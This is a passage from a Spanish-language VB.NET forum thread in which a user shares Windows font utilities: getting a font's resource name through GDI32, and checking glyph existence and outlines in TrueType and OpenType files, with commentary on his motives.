  667.        Return Path.Combine(fontsDir, fontFileName)
  668.    End Function
  669.  
  670. End Class

El código continúa aquí abajo 👇🙂


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 31 Agosto 2025, 15:20 pm
Esta función pertenece a la clase 'UtilFonts' del anterior post, lo comparto aquí por que no me cabe en el otro post y por que esta función no depende de ninguna otra...

Código
  1.   ''' <summary>
  2.   ''' Retrieves the resource name of a TrueType (.ttf) or OpenType font file (.otf)
  3.   ''' by creating a temporary scalable font resource file and reading its contents.
  4.   ''' <para></para>
  5.   ''' This name may differ from the value of the following properties:
  6.   ''' <list type="bullet">
  7.   '''   <item><description><see cref="System.Drawing.Font.Name"/>.</description></item>
  8.   '''   <item><description><see cref="System.Drawing.Font.OriginalFontName"/>.</description></item>
  9.   '''   <item><description><see cref="System.Drawing.Font.SystemFontName"/>.</description></item>
  10.   '''   <item><description><see cref="System.Windows.Media.GlyphTypeface.FamilyNames"/>.</description></item>
  11.   '''   <item><description><see cref="System.Windows.Media.GlyphTypeface.Win32FamilyNames"/>.</description></item>
  12.   ''' </list>
  13.   ''' </summary>
  14.   '''
  15.   ''' <param name="fontFile">
  16.   ''' The path to the font file (e.g., <b>"C:\font.ttf"</b>).
  17.   ''' </param>
  18.   '''
  19.   ''' <returns>
  20.   ''' The resource name of the given font file.
  21.   ''' </returns>
  22.   <DebuggerStepThrough>
  23.   Public Shared Function GetFontResourceName(fontFile As String) As String
  24.  
  25.       If Not File.Exists(fontFile) Then
  26.           Dim msg As String = $"The font file does not exist: '{fontFile}'"
  27.           Throw New FileNotFoundException(msg, fontFile)
  28.       End If
  29.  
  30.       Dim fontName As String = Nothing
  31.       Dim tempFile As String = Path.Combine(Path.GetTempPath(), "~FONT.RES")
  32.  
  33.       ' Ensure any previous existing temp file is deleted.
  34.       If File.Exists(tempFile) Then
  35.           Try
  36.               File.Delete(tempFile)
  37.           Catch ex As Exception
  38.               Dim msg As String = $"Cannot delete existing temp resource file: '{tempFile}'"
  39.               Throw New IOException(msg, ex)
  40.           End Try
  41.       End If
  42.  
  43.       ' Create a temporary scalable font resource.
  44.       Dim created As Boolean = NativeMethods.CreateScalableFontResource(1UI, tempFile, fontFile, Nothing)
  45.       If Not created Then
  46.           Dim msg As String = "Failed to create scalable font resource."
  47.           Throw New IOException(msg)
  48.       End If
  49.  
  50.       Try
  51.           ' Read the temp font file resource into a string.
  52.           Dim buffer As Byte() = File.ReadAllBytes(tempFile)
  53.           Dim bufferStr As String = Encoding.Default.GetString(buffer)
  54.  
  55.           ' Look for the "FONTRES:" marker.
  56.           Const fontResMarker As String = "FONTRES:"
  57.           Dim pos As Integer = bufferStr.IndexOf(fontResMarker)
  58.           If pos < 0 Then
  59.               Dim msg As String = "FONTRES marker not found in temporary font resource file."
  60.               Throw New InvalidOperationException(msg)
  61.           End If
  62.  
  63.           pos += fontResMarker.Length
  64.           Dim endPos As Integer = bufferStr.IndexOf(ControlChars.NullChar, pos)
  65.           If endPos < 0 Then
  66.               Dim msg As String = "Cannot determine the end position of the font name string in the font resource file content."
  67.               Throw New InvalidOperationException(msg)
  68.           End If
  69.  
  70.           fontName = bufferStr.Substring(pos, endPos - pos)
  71.       Catch ex As Exception
  72.           Throw
  73.  
  74.       Finally
  75.           ' Always attempt to delete the created temporary resource file.
  76.           Try
  77.               File.Delete(tempFile)
  78.           Catch
  79.               ' Ignore deletion exceptions; cleanup best effort.
  80.           End Try
  81.  
  82.       End Try
  83.  
  84.       Return fontName
  85.   End Function
  86.  

Código
  1. #Region " NativeMethods "
  2.  
  3. Namespace DevCase.Win32.NativeMethods
  4.  
  5.    <SuppressUnmanagedCodeSecurity>
  6.    Friend Module User32
  7.  
  8. #Region " GDI32.dll "
  9.  
  10.        <DllImport("GDI32.dll", CharSet:=CharSet.Auto, SetLastError:=True, BestFitMapping:=False, ThrowOnUnmappableChar:=True)>
  11.        Friend Function CreateScalableFontResource(hidden As UInteger,
  12.                                                   resourceFile As String,
  13.                                                   fontFile As String,
  14.                                                   currentPath As String
  15.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  16.        End Function
  17.  
  18. #End Region
  19.  
  20.    End Module
  21.  
  22. End Namespace
  23.  
  24. #End Region

OFF-TOPIC

Si alguien se pregunta: "¿Y por qué esa obsesión con las diferentes formas que puede haber para obtener el nombre de una fuente?" "¿Qué más te da un nombre u otro?" pues bueno, por que yo necesitaba hallar la forma de obtener el nombre completo amistoso exactamente tal y como se muestra en el visor de fuentes de texto de Windows (fontview.exe), por que esa es la representación más completa y la más sofisticada que he visto hasta ahora, "¿Pero por qué motivo lo necesitas exactamente?" Pues por que se me metió en la cabeza conseguirlo, y yo soy muy cabezón, sin más, así que básicamente en eso ha consistido mi investigación, con varios días de ensayo y error, junto a treinta consultas a ChatGPT con sus cien respuestas inservibles que me sacan de quicio...

En el post anterior simplemente he recopilado las diferencias que he ido encontrando al probar diversas maneras de obtener el nombre de una fuente (a lo mejor me he olvidado de alguna otra forma, no sé). A penas hay información sobre esto en Internet (sobre como obtener el nombre amistoso COMPLETO) por no decir que prácticamente no hay nada de nada; aunque bueno, una forma sé que sería leyendo las tablas en la cabecera de un archivo de fuente, pero eso es un auténtico coñazo y propenso a errores humanos, sobre todo si no eres un friki erudito... diseñador de fuentes que conoce todos los entresijos y las "variables" a tener en cuenta al analizar la cabecera de estos formatos de archivo, cosa que evidentemente yo no conozco, pero por suerte al final descubrí que la propiedad "Title" de la shell de Windows es suficiente para lograr mi propósito a la perfección, y sin tener que recurrir a experimentos tediosos que me causarían pesadillas por la noche.

Lo de instalar y desinstalar fuentes vino a continuación de lo del nombre, primero necesitaba el nombre amistoso completo, y luego ya teniendo ese nombre -fiel a la representación de Microsoft Windows- podía empezar a desarrollar ideas para hacer cosas más útiles o interesantes. Todos los códigos que he visto por Internet en diferentes lenguajes de programación para instalar un archivo de fuente se quedan muuuy cortos para mis expectativas, carecíendo de las funcionalidades más esenciales, la optimización y los controles de errores más básicos... a diferencia de lo que yo he desarrollado y compartido en el anterior post, que aunque puede que no sea perfecto (por que la perfección absoluta no existe), es mejor que todo lo que he encontrado hasta ahora, y no es por echarme flores ni parecer engreído, pero es la verdad; Me siento sorprendido al no haber descubierto ningún otro programador que haya hecho/compartido un código universal para instalar fuentes de texto de forma más o menos eficiente, confiable y versátil. Quizás lo haya, pero yo no lo encontré. Códigos cortitos y que cumplen la funcionalidad mínima de "instalar una fuente" sin importar ningún factor, de esos hay muchos en Internet, pero como digo un BUEN CÓDIGO no encontré.

Lo próximo que comparta en este hilo puede que sea un método universal que sirva para determinar si un archivo de fuente contiene glifos para representar caracteres específicos (ej. "áéíóú"). Ya tengo algo hecho que funciona... pero no siempre funciona de la forma esperada (da falsos positivos con algunos archivos de fuente). Me falta mucho por aprender del formato TrueType y OpenType. Por suerte existen herramientas especializadas como por ejemplo "otfinfo.exe" (descarga (https://mirrors.ctan.org/systems/win32/w32tex/lcdf-typetools-w32.tar.xz)) que sirven para obtener información general de una fuente, imprimir en consola los caracteres de un rango Unicode específico, volcar tablas completas y demás, y tener algo así me ayuda a hacer (y corregir) asunciones al leer este formato de archivo.

👋


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Septiembre 2025, 10:12 am
Métodos universales para trabajar (otros) aspectos básicos con fuentes de texto (.ttf y .otf)...

(AL FINAL DE ESTE POST HE COMPARTIDO UN EJEMPLO DE USO 😏)

Funciones 'UtilFonts.FontHasGlyph', 'UtilFonts.FontHasGlyphs', 'FontExtensions.HasGlyph' y 'FontExtensions.HasGlyphs'

    Sirven para determinar si existen glifos en una fuente de texto para un caracter o una serie de caracteres específicos.

    Se utilizaría, por ejemplo, con este tipo de fuente que no tiene glifos propios para las vocales con tilde:

    (http://i.imgur.com/U2YkLOWl.png) (https://i.imgur.com/U2YkLOW.png)

Funciones 'UtilFonts.FontGlyphHasOutline' y 'FontExtensions.GlyphHasOutline'

    Sirven para determinar si un glifo está vacío (no hay contornos dibujados).

    Se utilizaría, por ejemplo, con este tipo de fuentes que no dibujan las vocales con tilde:

    (http://i.imgur.com/cYB31LSl.png) (https://i.imgur.com/cYB31LS.png)

    Tener en cuenta que esta función solo sirve para determinar si el glifo contiene algo,
    no puede determinar si el glifo es una figura incompleta como por ejemplo la de esta vocal que solo tiene la tilde:

    (http://i.imgur.com/iWcPiK0l.png) (https://i.imgur.com/iWcPiK0.png)



El código fuente

Imports necesarios

Código
  1. Imports System.ComponentModel
  2. Imports System.Drawing
  3. Imports System.Drawing.Text
  4. Imports System.IO
  5. Imports System.Runtime.CompilerServices
  6. Imports System.Runtime.InteropServices
  7.  
  8. Imports DevCase.Win32
  9. Imports DevCase.Win32.Enums
  10. Imports DevCase.Win32.Structures

Clases secundarias requeridas

(Lo siento pero he tenido que borrar mucha documentación XML -no esencial- para que me quepa todo el código en este post.)

Código
  1. #Region " Constants "
  2.  
  3. Namespace DevCase.Win32.Common.Constants
  4.  
  5.    <HideModuleName>
  6.    Friend Module Constants
  7.  
  8. #Region " GDI32 "
  9.  
  10.    ''' <summary>
  11.    ''' Error return value for some GDI32 functions.
  12.    ''' </summary>
  13.    Public Const GDI_ERROR As UInteger = &HFFFFFFFFUI
  14.  
  15.    ''' <summary>
  16.    ''' Error return value for some GDI32 functions.
  17.    ''' </summary>
  18.    Public ReadOnly HGDI_ERROR As New IntPtr(-1)
  19.  
  20. #End Region
  21.  
  22.    End Module
  23.  
  24. End Namespace
  25.  
  26. #End Region

Código
  1. #Region " Enums "
  2.  
  3. Namespace DevCase.Win32.Enums
  4.  
  5.    ''' <remarks>
  6.    ''' List of System Error Codes: <see href="https://docs.microsoft.com/en-us/windows/desktop/Debug/system-error-codes"/>.
  7.    ''' </remarks>
  8.    Public Enum Win32ErrorCode As Integer
  9.  
  10.        ''' <summary>
  11.        ''' The operation completed successfully.
  12.        ''' </summary>
  13.        ERROR_SUCCESS = &H0
  14.    End Enum
  15.  
  16.    ''' <remarks>
  17.    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-wcrange"/>
  18.    ''' </remarks>
  19.    <Flags>
  20.    Public Enum GetGlyphIndicesFlags ' GGI
  21.  
  22.        ''' <summary>
  23.        ''' Marks unsupported glyphs with the hexadecimal value 0xFFFF.
  24.        ''' </summary>
  25.        MarkNonExistingGlyphs = 1 ' GGI_MARK_NONEXISTING_GLYPHS
  26.    End Enum
  27.  
  28.    ''' <remarks>
  29.    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphoutlinew"/>
  30.    ''' </remarks>
  31.    Public Enum GetGlyphOutlineFormat ' GGO
  32.        Metrics = 0
  33.        Bitmap = 1
  34.  
  35.        ''' <summary>
  36.        ''' The function retrieves the curve data points in the rasterizer's native format and uses the font's design units.
  37.        ''' </summary>
  38.        Native = 2
  39.  
  40.        Bezier = 3
  41.        BitmapGray2 = 4
  42.        BitmapGray4 = 5
  43.        BitmapGray8 = 6
  44.        GlyphIndex = &H80
  45.        Unhinted = &H100
  46.    End Enum
  47.  
  48. End Namespace
  49.  
  50. #End Region

Código
  1. #Region " Structures "
  2.  
  3.    Namespace DevCase.Win32.Structures
  4.  
  5.    #Region " GlyphMetrics "
  6.  
  7.        ''' <remarks>
  8.        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-glyphmetrics"/>
  9.        ''' </remarks>
  10.        <StructLayout(LayoutKind.Sequential)>
  11.        Public Structure GlyphMetrics
  12.            Public BlackBoxX As UInteger
  13.            Public BlackBoxY As UInteger
  14.            Public GlyphOrigin As NativePoint
  15.            Public CellIncX As Short
  16.            Public CellIncY As Short
  17.        End Structure
  18.  
  19.    #End Region
  20.  
  21.    #Region " NativePoint (POINT) "
  22.  
  23.    ''' <summary>
  24.    ''' Defines the x- and y- coordinates of a point.
  25.    ''' </summary>
  26.    '''
  27.    ''' <remarks>
  28.    ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd162805%28v=vs.85%29.aspx"/>
  29.    ''' </remarks>
  30.    <DebuggerStepThrough>
  31.    <StructLayout(LayoutKind.Sequential)>
  32.    Public Structure NativePoint
  33.  
  34. #Region " Fields "
  35.  
  36.        Public X As Integer
  37.        Public Y As Integer
  38.  
  39. #End Region
  40.  
  41. #Region " Constructors "
  42.  
  43.        Public Sub New(x As Integer, y As Integer)
  44.            Me.X = x
  45.            Me.Y = y
  46.        End Sub
  47.  
  48.        Public Sub New(pt As Point)
  49.            Me.New(pt.X, pt.Y)
  50.        End Sub
  51.  
  52. #End Region
  53.  
  54. #Region " Operator Conversions "
  55.  
  56.        Public Shared Widening Operator CType(pt As NativePoint) As Point
  57.            Return New Point(pt.X, pt.Y)
  58.        End Operator
  59.  
  60.        Public Shared Widening Operator CType(pt As Point) As NativePoint
  61.            Return New NativePoint(pt.X, pt.Y)
  62.        End Operator
  63.  
  64. #End Region
  65.  
  66.    End Structure
  67.  
  68.    #End Region
  69.  
  70.    #Region " GlyphOutlineMatrix2 "
  71.  
  72.    ''' <remarks>
  73.    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-mat2"/>
  74.    ''' </remarks>
  75.    <StructLayout(LayoutKind.Sequential)>
  76.    Public Structure GlyphOutlineMatrix2 ' MAT2
  77.  
  78.        Public M11 As Fixed
  79.        Public M12 As Fixed
  80.        Public M21 As Fixed
  81.        Public M22 As Fixed
  82.  
  83.        ''' <summary>
  84.        ''' Gets an <see cref="GlyphOutlineMatrix2"/> transformation in which the transformed graphical object is identical to the source object.
  85.        ''' This is called an identity matrix.
  86.        ''' <para></para>
  87.        ''' In this identity matrix,
  88.        ''' the value of <see cref="GlyphOutlineMatrix2.M11"/> is 1,
  89.        ''' the value of <see cref="GlyphOutlineMatrix2.M12"/> is zero,
  90.        ''' the value of <see cref="GlyphOutlineMatrix2.M21"/> is zero,
  91.        ''' and the value of <see cref="GlyphOutlineMatrix2.M22"/> is 1.
  92.        ''' </summary>
  93.        '''
  94.        ''' <returns>
  95.        ''' The resulting <see cref="GlyphOutlineMatrix2"/>.
  96.        ''' </returns>
  97.        Public Shared Function GetIdentityMatrix() As GlyphOutlineMatrix2
  98.            Return New GlyphOutlineMatrix2() With {
  99.            .M11 = New Fixed With {.Value = 1},
  100.            .M22 = New Fixed With {.Value = 1}
  101.        }
  102.        End Function
  103.  
  104.    End Structure
  105.  
  106.    #End Region
  107.  
  108.    #Region " Fixed "
  109.  
  110.    ''' <summary>
  111.    ''' Contains the integral and fractional parts of a fixed-point real number.
  112.    ''' <para></para>
  113.    ''' Note: The <see cref="Fixed"/> structure is used to describe the elements of the <see cref="GlyphOutlineMatrix2"/> structure.
  114.    ''' </summary>
  115.    '''
  116.    ''' <remarks>
  117.    ''' <see href="https://docs.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-fixed"/>
  118.    ''' </remarks>
  119.    <StructLayout(LayoutKind.Sequential)>
  120.    Public Structure Fixed
  121.  
  122. #Region " Public Fields "
  123.  
  124.        ''' <summary>
  125.        ''' The fractional value.
  126.        ''' </summary>
  127.        Public Fraction As UShort
  128.  
  129.        ''' <summary>
  130.        ''' The integral value.
  131.        ''' </summary>
  132.        Public Value As Short
  133.  
  134. #End Region
  135.  
  136. #Region " Operator Conversions "
  137.  
  138.        Public Shared Widening Operator CType(f As Fixed) As Decimal
  139.  
  140.            Return Decimal.Parse($"{f.Value.ToString(NumberFormatInfo.InvariantInfo)}{NumberFormatInfo.InvariantInfo.NumberDecimalSeparator}{f.Fraction.ToString(NumberFormatInfo.InvariantInfo)}", NumberFormatInfo.InvariantInfo)
  141.        End Operator
  142.  
  143.        Public Shared Widening Operator CType(dec As Decimal) As Fixed
  144.  
  145.            Return New Fixed With {
  146.                .Value = CShort(System.Math.Truncate(System.Math.Truncate(dec))),
  147.                .Fraction = UShort.Parse(dec.ToString(NumberFormatInfo.InvariantInfo).Split({NumberFormatInfo.InvariantInfo.NumberDecimalSeparator}, StringSplitOptions.None)(1), NumberFormatInfo.InvariantInfo)
  148.            }
  149.        End Operator
  150.  
  151. #End Region
  152.  
  153. #Region " Public Methods "
  154.  
  155.        Public Overrides Function ToString() As String
  156.  
  157.            Return CDec(Me).ToString()
  158.        End Function
  159.  
  160. #End Region
  161.  
  162.    End Structure
  163.  
  164.    #End Region
  165.  
  166.    End Namespace
  167.  
  168. #End Region
  169.  

Código
  1. #Region " NativeMethods "
  2.  
  3. Namespace DevCase.Win32.NativeMethods
  4.  
  5.    <SuppressUnmanagedCodeSecurity>
  6.    Friend Module Gdi32
  7.  
  8.        ''' <summary>
  9.        ''' Creates a memory device context (DC) compatible with the specified device.
  10.        ''' </summary>
  11.        '''
  12.        ''' <remarks>
  13.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd183489%28v=vs.85%29.aspx"/>
  14.        ''' </remarks>
  15.        <DllImport("gdi32.dll", SetLastError:=True)>
  16.        Public Function CreateCompatibleDC(hdc As IntPtr
  17.        ) As IntPtr
  18.        End Function
  19.  
  20.        ''' <summary>
  21.        ''' Deletes the specified device context (DC).
  22.        ''' <para></para>
  23.        ''' An application must not delete a DC whose handle was obtained by calling the <see cref="GetDC"/> function.
  24.        ''' instead, it must call the <see cref="ReleaseDC"/> function to free the DC.
  25.        ''' </summary>
  26.        '''
  27.        ''' <remarks>
  28.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd183533%28v=vs.85%29.aspx"/>
  29.        ''' </remarks>
  30.        <DllImport("gdi32.dll")>
  31.        Public Function DeleteDC(hdc As IntPtr
  32.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  33.        End Function
  34.  
  35.        ''' <summary>
  36.        ''' Selects an object into a specified device context.
  37.        ''' <para></para>
  38.        ''' The new object replaces the previous object of the same type.
  39.        ''' </summary>
  40.        '''
  41.        ''' <remarks>
  42.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd162957%28v=vs.85%29.aspx"/>
  43.        ''' </remarks>
  44.        <DllImport("gdi32.dll", ExactSpelling:=False)>
  45.        Public Function SelectObject(hdc As IntPtr,
  46.                                     hObject As IntPtr
  47.        ) As IntPtr
  48.        End Function
  49.  
  50.        ''' <summary>
  51.        ''' Deletes a logical pen, brush, font, bitmap, region, or palette,
  52.        ''' freeing all system resources associated with the object.
  53.        ''' <para></para>
  54.        ''' After the object is deleted, the specified handle is no longer valid.
  55.        ''' <para></para>
  56.        ''' Do not delete a drawing object (pen or brush) while it is still selected into a DC.
  57.        ''' <para></para>
  58.        ''' When a pattern brush is deleted, the bitmap associated with the brush is not deleted.
  59.        ''' The bitmap must be deleted independently.
  60.        ''' </summary>
  61.        '''
  62.        ''' <remarks>
  63.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms633540%28v=vs.85%29.aspx"/>
  64.        ''' </remarks>
  65.        <DllImport("gdi32.dll", ExactSpelling:=False, SetLastError:=True)>
  66.        Public Function DeleteObject(hObject As IntPtr
  67.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  68.        End Function
  69.  
  70.        ''' <summary>
  71.        ''' Translates a string into an array of glyph indices.
  72.        ''' <para></para>
  73.        ''' The function can be used to determine whether a glyph exists in a font.
  74.        ''' </summary>
  75.        '''
  76.        ''' <remarks>
  77.        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphindicesw"/>
  78.        ''' </remarks>
  79.        <DllImport("gdi32.dll", SetLastError:=False, CharSet:=CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True)>
  80.        Public Function GetGlyphIndices(hdc As IntPtr,
  81.                                        str As String,
  82.                                        strLen As Integer,
  83.                                        <[Out], MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=2)>
  84.                                        glyphIndices As UShort(),
  85.                               Optional flags As GetGlyphIndicesFlags = GetGlyphIndicesFlags.MarkNonExistingGlyphs
  86.        ) As UInteger
  87.        End Function
  88.  
  89.        ''' <summary>
  90.        ''' Retrieves the outline or bitmap for a character in the TrueType font that is selected into the specified device context.
  91.        ''' </summary>
  92.        '''
  93.        ''' <remarks>
  94.        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphoutlinew"/>
  95.        ''' </remarks>
  96.        <DllImport("gdi32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  97.        Public Function GetGlyphOutline(hdc As IntPtr,
  98.                                        ch As UInteger,
  99.                                        format As GetGlyphOutlineFormat,
  100.                            <Out> ByRef refMetrics As GlyphMetrics,
  101.                                        bufferSize As UInteger,
  102.                                        buffer As IntPtr,
  103.                                  ByRef refMatrix2 As GlyphOutlineMatrix2
  104.        ) As UInteger
  105.        End Function
  106.  
  107.    End Module
  108.  
  109. End Namespace
  110.  
  111. #End Region

Clase principal 'UtilFonts' y modulo 'FontExtensions', que contienen los métodos universales en torno a fuentes de texto

Código
  1. Public Class UtilFonts
  2.  
  3.    ''' <summary>
  4.    ''' Prevents a default instance of the <see cref="UtilFonts"/> class from being created.
  5.    ''' </summary>
  6.    Private Sub New()
  7.    End Sub
  8.  
  9.    ''' <summary>
  10.    ''' Determines whether a glyph exists in the given font file
  11.    ''' for the specified character.
  12.    ''' </summary>
  13.    '''
  14.    ''' <param name="fontFile">
  15.    ''' Path to the font file used to check for glyph availability.
  16.    ''' </param>
  17.    '''
  18.    ''' <param name="ch">
  19.    ''' The character that represents the glyph to check.
  20.    ''' </param>
  21.    '''
  22.    ''' <returns>
  23.    ''' <see langword="True"/> if a glyph exists in the font for the specified character;
  24.    ''' otherwise, <see langword="False"/>.
  25.    ''' </returns>
  26.    <DebuggerStepThrough>
  27.    Public Shared Function FontHasGlyph(fontFile As String, ch As Char) As Boolean
  28.  
  29.        Return UtilFonts.FontHasGlyphs(fontFile, ch) = 1
  30.    End Function
  31.  
  32.    ''' <summary>
  33.    ''' Determines whether a glyph exists in the given font file
  34.    ''' for all the characters in the speciied string.
  35.    ''' </summary>
  36.    '''
  37.    ''' <param name="fontFile">
  38.    ''' Path to the font file used to check for glyphs availability.
  39.    ''' </param>
  40.    '''
  41.    ''' <param name="str">
  42.    ''' A <see cref="String"/> with the character(s) that represents the glyphs to check.
  43.    ''' <para></para>
  44.    ''' Each character (or surrogate pair) is checked for a existing glyph in the font.
  45.    ''' </param>
  46.    '''
  47.    ''' <returns>
  48.    ''' The count of characters from <paramref name="str"/> parameter that have a existing glyph in the font.
  49.    ''' <para></para>
  50.    ''' A count less than the length of <paramref name="str"/> indicates that the font does not have a existing glyph for one or more characters.
  51.    ''' </returns>
  52.    '''
  53.    ''' <exception cref="FileNotFoundException">
  54.    ''' Thrown when the font file is not found.
  55.    ''' </exception>
  56.    <DebuggerStepThrough>
  57.    Public Shared Function FontHasGlyphs(fontFile As String, str As String) As UInteger
  58.  
  59.        If Not System.IO.File.Exists(fontFile) Then
  60.            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
  61.        End If
  62.  
  63.        Using pfc As New PrivateFontCollection()
  64.            pfc.AddFontFile(fontFile)
  65.  
  66.            Using f As New Font(pfc.Families(0), emSize:=1)
  67.                Return FontExtensions.HasGlyphs(f, str)
  68.            End Using
  69.        End Using
  70.    End Function
  71.  
  72.    ''' <summary>
  73.    ''' Determines whether a glyph for the specified character in the given font file has an outline.
  74.    ''' <para></para>
  75.    ''' This is useful to determine whether the glyph is empty (no character is drawn),
  76.    ''' but note that a glyph with outlines does not necessarily mean that the character is fully represented.
  77.    ''' Some fonts, for instance, only renders diacritical marks for accented vowels
  78.    ''' instead the full letter (e.g., "<b>´</b>" instead of "<b>í</b>").
  79.    ''' This function solely determines whether the glyph draws an outline, nothing more.
  80.    ''' <para></para>
  81.    ''' To determine whether a glyph exists in the given font file for the specified character, use
  82.    ''' <see cref="UtilFonts.FontHasGlyph"/> or <see cref="UtilFonts.FontHasGlyphs"/> instead.
  83.    ''' </summary>
  84.    '''
  85.    ''' <param name="fontFile">
  86.    ''' Path to the font file used to check for glyph availability.
  87.    ''' </param>
  88.    '''
  89.    ''' <param name="ch">
  90.    ''' The character that represents the glyph to check in the font.
  91.    ''' </param>
  92.    '''
  93.    ''' <returns>
  94.    ''' Returns <see langword="True"/> if the glyph has an outline (visible shape data exists).
  95.    ''' <para></para>
  96.    ''' Returns <see langword="False"/> if the glyph does not have an outline,
  97.    ''' meaning the glyph is empty/unsupported by the font.
  98.    ''' </returns>
  99.    '''
  100.    ''' <exception cref="FileNotFoundException">
  101.    ''' Thrown when the font file is not found.
  102.    ''' </exception>
  103.    <DebuggerStepThrough>
  104.    Public Shared Function FontGlyphHasOutline(fontFile As String, ch As Char) As Boolean
  105.  
  106.        If Not System.IO.File.Exists(fontFile) Then
  107.            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
  108.        End If
  109.  
  110.        Using pfc As New PrivateFontCollection()
  111.            pfc.AddFontFile(fontFile)
  112.  
  113.            Using f As New Font(pfc.Families(0), emSize:=1)
  114.                Return FontExtensions.GlyphHasOutline(f, ch)
  115.            End Using
  116.        End Using
  117.    End Function
  118.  
  119. End Class

Código
  1. Module FontExtensions
  2.  
  3.    ''' <summary>
  4.    ''' Determines whether a glyph exists in the given <see cref="System.Drawing.Font"/>
  5.    ''' for the specified character.
  6.    ''' </summary>
  7.    '''
  8.    ''' <param name="font">
  9.    ''' The <see cref="System.Drawing.Font"/> used to check for glyph availability.
  10.    ''' </param>
  11.    '''
  12.    ''' <param name="ch">
  13.    ''' The character that represents the glyph to check.
  14.    ''' </param>
  15.    '''
  16.    ''' <returns>
  17.    ''' <see langword="True"/> if a glyph exists in the font for the specified character;
  18.    ''' otherwise, <see langword="False"/>.
  19.    ''' </returns>
  20.    <Extension>
  21.    <EditorBrowsable(EditorBrowsableState.Always)>
  22.    <DebuggerStepThrough>
  23.    Public Function HasGlyph(font As Font, ch As Char) As Boolean
  24.  
  25.        Return FontExtensions.HasGlyphs(font, ch) = 1
  26.    End Function
  27.  
  28.    ''' <summary>
  29.    ''' Determines whether a glyph exists in the given <see cref="System.Drawing.Font"/>
  30.    ''' for all the characters in the speciied string.
  31.    ''' </summary>
  32.    '''
  33.    ''' <param name="font">
  34.    ''' The <see cref="System.Drawing.Font"/> used to check for glyphs availability.
  35.    ''' </param>
  36.    '''
  37.    ''' <param name="str">
  38.    ''' A <see cref="String"/> with the character(s) that represents the glyphs to check.
  39.    ''' <para></para>
  40.    ''' Each character (or surrogate pair) is checked for a existing glyph in the font.
  41.    ''' </param>
  42.    '''
  43.    ''' <returns>
  44.    ''' The count of characters from <paramref name="str"/> parameter that have a existing glyph in the font.
  45.    ''' <para></para>
  46.    ''' A count less than the length of <paramref name="str"/> indicates that the font does not have a existing glyph for one or more characters.
  47.    ''' </returns>
  48.    '''
  49.    ''' <exception cref="ArgumentNullException">
  50.    ''' Thrown when <paramref name="font"/> or <paramref name="str"/> are null.
  51.    ''' </exception>
  52.    '''
  53.    ''' <exception cref="Win32Exception">
  54.    ''' Thrown when a call to Windows API GDI32 functions (creating device context, selecting font, or retrieving glyph indices) fails.
  55.    ''' </exception>
  56.    <Extension>
  57.    <EditorBrowsable(EditorBrowsableState.Always)>
  58.    <DebuggerStepThrough>
  59.    Public Function HasGlyphs(font As Font, str As String) As UInteger
  60.  
  61.        If font Is Nothing Then
  62.            Throw New ArgumentNullException(paramName:=NameOf(font))
  63.        End If
  64.  
  65.        If String.IsNullOrEmpty(str) Then
  66.            Throw New ArgumentNullException(paramName:=NameOf(str))
  67.        End If
  68.  
  69.        Dim hdc As IntPtr
  70.        Dim hFont As IntPtr
  71.        Dim oldObj As IntPtr
  72.  
  73.        Dim win32Err As Integer
  74.  
  75.        Try
  76.            hFont = font.ToHfont()
  77.            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
  78.            win32Err = Marshal.GetLastWin32Error()
  79.            If hdc = IntPtr.Zero Then
  80.                Throw New Win32Exception(win32Err)
  81.            End If
  82.  
  83.            oldObj = NativeMethods.SelectObject(hdc, hFont)
  84.            win32Err = Marshal.GetLastWin32Error()
  85.            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
  86.                Throw New Win32Exception(win32Err)
  87.            End If
  88.  
  89.            ' Reserve output for each text unit (can be 1 or 2 chars if it's a surrogate pair).
  90.            Dim strLen As Integer = str.Length
  91.            Dim indices As UShort() = New UShort(strLen - 1) {}
  92.            ' Get the glyph indices for the string in the given device context.
  93.            Dim converted As UInteger = NativeMethods.GetGlyphIndices(hdc, str, strLen, indices, GetGlyphIndicesFlags.MarkNonExistingGlyphs)
  94.            win32Err = Marshal.GetLastWin32Error()
  95.            If converted = DevCase.Win32.Common.Constants.GDI_ERROR Then
  96.                Throw New Win32Exception(win32Err)
  97.            End If
  98.  
  99.            ' Count glyphs that exist (index <> 0xFFFF).
  100.            ' If any glyph index is 0xFFFF, the glyph does not exist in that font.
  101.            Dim count As UInteger
  102.            For Each index As UShort In indices
  103.                If index <> &HFFFFUS Then
  104.                    count += 1UI
  105.                End If
  106.            Next
  107.            Return count
  108.  
  109.        Finally
  110.            If oldObj <> IntPtr.Zero Then
  111.                NativeMethods.DeleteObject(oldObj)
  112.            End If
  113.            If hFont <> IntPtr.Zero Then
  114.                NativeMethods.DeleteObject(hFont)
  115.            End If
  116.            If hdc <> IntPtr.Zero Then
  117.                NativeMethods.DeleteDC(hdc)
  118.            End If
  119.  
  120.        End Try
  121.    End Function
  122.  
  123.  
  124.    ''' <summary>
